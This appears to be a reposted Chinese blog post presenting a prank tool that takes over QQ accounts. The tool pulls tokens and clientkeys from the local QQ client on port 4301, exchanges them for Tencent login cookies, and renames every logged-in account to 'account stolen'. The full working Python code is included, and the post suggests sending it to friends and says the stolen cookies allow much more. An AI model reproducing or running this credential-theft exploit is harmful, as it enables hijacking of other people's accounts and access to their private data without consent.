1.将程序发给好友，好友打开 qq昵称就会被秒改为”账号已被盗“。
2.将程序运行在自己的电脑，让那些随意借用电脑看片聊天的室友产生一个觉悟：乱使用别人电脑很可能会泄露隐私。
通过数据包模拟网页中的qq快速登录，拿到登录凭证（Cookie）修改qq昵称 实现账号被盗的假象。
qq快速登录是基于qq的客户端实现的，qq客户端启动时会生成一个local_token（保存在本地的一个钥匙），通过local_token访问qq客户端的本地服务器（4301端口）可以获取到电脑上登录的所有qq账号。
仅仅知道qq账号肯定是无法登录的，还要拿clientkey。可以把clientkey理解成密码，qq客户端登录成功时会生成这个值，每个成功登录的账号都有自己的clientkey 相互匹配，只要拿到账号的clientkey就可以偷偷快速登录了。
前面两步其实都是在本地网络下完成的，验证于qq客户端的本地服务器。现在提交uin+clientkey模拟快速登录是需要腾讯的远程服务器来验证的，验证通过就可以拿到登录凭证了（Cookies）。
通过前几步我们已经拿到登录凭证了，可以为所欲为访问腾讯所有web端的服务了，现在我想修改账号的昵称。
我选择了通过qq个人中心的一个接口修改昵称，这个接口需要一个ldw值，并不复杂，一个get请求就能拿到。
以下使用python编程语言操作。
from urllib import request from http import cookiejar import json import re opener=None cookie=None local_token=None json_uins=None def modNick(index,nick): clientuin=json_uins[index][‘account‘] clientkey=None ldw=None #拿到clientkey url = ‘https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=‘+clientuin+‘&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=‘ + local_token opener.open(url) for item in cookie: if (item.name == ‘clientkey‘): clientkey = item.value break #登录 url=‘https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin=‘+clientuin+‘&clientkey=‘+clientkey opener.open(url) #拿到ldw url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388" opener.open(url) for item in cookie: if (item.name == ‘ldw‘): ldw = item.value break #修改昵称 url = ‘http://id.qq.com/cgi-bin/userinfo_mod‘ data = ‘&n=‘ + nick + ‘&ldw=‘ + ldw res = opener.open(url, bytes(data, ‘utf-8‘)) data = res.read() if __name__==‘__main__‘: #opener初始化 cookie=cookiejar.CookieJar() opener=request.build_opener(request.HTTPCookieProcessor(cookie)) opener.addheaders = [(‘Referer‘,‘https://xui.ptlogin2.qq.com‘)] #拿到local_token url=‘https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html‘ opener.open(url) for item in cookie: if(item.name == ‘pt_local_token‘): local_token=item.value break #拿到uins url=‘https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk=‘+local_token res=opener.open(url) json_uins=json.loads(re.compile(‘var var_sso_uin_list=(.*?);‘).findall(str(res.read(),‘utf-8‘))[0]) #修改昵称 for index in range(0,len(json_uins)): modNick(index, ‘帐号已被盗！‘)
改个昵称啥的都是小事情，拿到Cookies可以做到的事情太多了。请以自我娱乐的意识去研究扩展，不要干扰影响他人网络环境。
原文：https://www.cnblogs.com/aucy/p/9090900.html